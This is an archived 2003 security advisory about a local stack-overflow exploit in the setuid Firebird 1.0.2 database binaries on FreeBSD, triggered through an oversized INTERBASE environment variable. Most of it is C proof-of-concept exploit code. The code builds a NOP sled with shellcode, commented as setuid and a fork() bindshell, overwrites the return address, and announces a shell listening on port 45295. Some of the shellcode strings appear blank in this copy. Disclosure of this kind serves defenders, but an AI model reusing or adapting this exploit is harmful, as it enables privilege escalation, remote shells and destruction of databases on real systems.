Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!

TUCoPS :: Linux :: Apps A-M :: bt158.txt

Firebird Local exploit

-[[Dtors Security Research]]-

-[[     ]]-

-[Package: Firebird_1.0.2 [FreeBSD]

-[Versions Affected: 1.0.2 <


-[Exploit: Local Stack Overflow

-[Date: 22/03/2003

-[Author: &&


Firebird is a relational database offering many ANSI SQL-92 features

that runs on Linux, Windows, and a variety of Unix platforms. Firebird

offers excellent concurrency, high performance, and powerful language

support for stored procedures and triggers. It has been used in

production systems, under a variety of names since 1981. 

For more information on Firebird and InterBase, see:


Firebird has 3 binarys [gds_inet_server, gds_drop, and gds_lock_mgr],

which all use insufficent bounds checking in conjunction with getenv(), 

making each one

succeptable to local exploitation.

Firebird is by default setuid[firebird]. This exploit can lead to 


privileges, should the attacker trojan the local firebird application.


Upon setting a large value for the INTERBASE environment variable a buffer

can be overflowed. Links to the exploit should accompany this advisory.


--[Please note that there is an exploit written for both versions of 


Exploiting this hole will allow the attacker to, amongst other things,

manipulate and/or destroy the databases, and also add the option to trojan

the firebird binaries. This will in effect allow for compromising of other

users/root accounts.


firebird 1.0.0 [BSD/Linux] are vulnerable.

firebird-1.0.2 [BSD/Linux] are vulnerable.


/* DSR-firebird.c by


Tested on: Firebird 1.0.2 FreeBSD 4.7-RELEASE

This is Proof Of concept code.

bash-2.05a$ ./DSR-firebird

( ( Firebird-1.0.2 Local exploit for Freebsd 4.7 ) )

( (                           by - ) )


Usage: ./DSR-firebird <target#> 


1. [0xbfbff75d] - gds_inet_server

2. [0xbfbff75c] - gds_lock_mgr

3. [0xbfbff75e] - gds_drop


Thanks goto eSDee && ilja for helping me

with the gds_lock_mgr problems.


#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#define LOCK    "/usr/local/firebird/bin/gds_lock_mgr"

#define DROP    "/usr/local/firebird/bin/gds_drop"

#define INET    "/usr/local/firebird/bin/gds_inet_server"

#define LEN     1056

char dropcode[]=





char inetcode[]=






char lockcode[]= 



	"\x31\xc0\x50\x6a\x5a\x53\xb0\x17\xcd\x80" //setuid[firebird] by 


	"\x31\xc0\x31\xdb\x53\xb3\x06\x53" //fork() bindshell by eSDee

























char *decide(char *string)


    if(!(strcmp(string, "1")))

      return((char *)&inetcode);

    if(!(strcmp(string, "2")))

      return((char *)&lockcode);

    if(!(strcmp(string, "3")))

      return((char *)&dropcode);



int main(int argc, char **argv)



	unsigned long ret = 0xbfbff743;


	char *selectcode;

	char buffer[LEN];

	char egg[1024];

	char *ptr;

	int i=0;


	if(argc < 2)


		printf("( ( Firebird-1.0.2 Local exploit for Freebsd 

4.7 ) )\n"); 

		printf("( (                           by - ) )\n");



		printf("Usage: %s <target#> \n", argv[0]);


		printf("1. [0xbfbff743] - gds_inet_server\n");

		printf("2. [0xbfbff743] - gds_lock_mgr\n");

		printf("3. [0xbfbff743] - gds_drop\n");





	selectcode = (char *)decide(argv[1]);

  	memset(buffer, 0x41, sizeof(buffer));

        ptr = egg;

        for (i = 0; i < 1024 - strlen(selectcode) -1; i++) *(ptr++) = 0x90;

        for (i = 0; i < strlen(selectcode); i++) *(ptr++) = selectcode[i];

        egg[1024 - 1] = '\0';



        memcpy(&buffer[1052],(char *)&ret,4);

        buffer[1056] = 0;

        setenv("INTERBASE", buffer, 1);

        fprintf(stdout, "Return Address: 0x%x\n", ret);

        fprintf(stdout, "Buffer Size: %d\n", LEN);

        fprintf(stdout, "Setuid [90]\n");

if(selectcode == (char *)&inetcode)


	execl(INET, INET, NULL);

	return 0;


if(selectcode == (char *)&lockcode)


 	printf("\nShell is on port 45295\nExploit will hang!\n");

	execl(LOCK, LOCK, NULL);

	return 0;


if(selectcode == (char *)&dropcode)


	execl(DROP, DROP, NULL);

	return 0;



	return 0;



As stated earlier, Linux is also vulnerable. The problem here

is that Linux by defaults sets firebird setuid root. There

exist a few more problems with linux. For example some command

line overflows with certain switches will allow the attacker

to change the flow of execution, of it can be changed using

the enviroment variable [FIREBIRD_LOCK].

This whole package should be revised before the next release.

Firebird 1.0.0 exploit @

Firebird 1.0.2 exploit @


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2015 AOH